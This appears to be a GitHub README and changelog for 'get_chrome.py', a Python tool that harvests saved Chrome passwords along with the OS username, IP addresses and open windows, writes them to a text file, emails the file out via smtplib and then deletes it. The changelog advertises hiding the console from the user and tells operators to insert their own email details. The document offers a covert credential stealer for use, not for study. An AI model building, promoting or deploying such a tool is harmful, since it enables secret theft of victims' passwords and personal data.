get_chrome (get_chrome.py) reads and writes binary information found in Google Chrome's database to harvest saved passwords, and writes those into a .txt format.
https://github.com/parad0xxxx/get_chrome/releases
- Chrome passwords
- OS username
- User's Public IP address
- User's Private IP address
- Shows windows opened
- And the time data was recorded
- This was made with Python 3.7.5 (Windows)
- Not all functions are stable, depending on what OS you're running.
- This was intended and designed on a Windows operating system, but we're trying our best to adapt for other systems. // Please wait for a stable release if you're using either Linux or MacOS.
- This works on all Python versions.
- Don't have Python? Download it here! https://www.python.org/downloads/
- parad0x (front-end developer)
- snavellet (back-end developer[APIs])
- Write saved passwords into a .txt file
- Use smtplib to send that file to an email address
- Write & Delete saved information (newly created .txt file)
• Added Linux and MacOS support (beta) - Use at your own risk.
• Removes all console recognition by user. (You can modify the script to your expertise)
• Added chrome directory solutions for all OS.
• Added statements to read if your device is running the ideal version of get_chrome.py
• Removed 'noname' attachment bug with proper results.txt and added a guide on how to use it.
• Remember to replace '' string to YOUR details. (this will prevent any runtime errors)
• If you would like to modify this software, please FORK it. :)
• Make chrome.py a library on pypi(pip)
• Make it fully user accessible.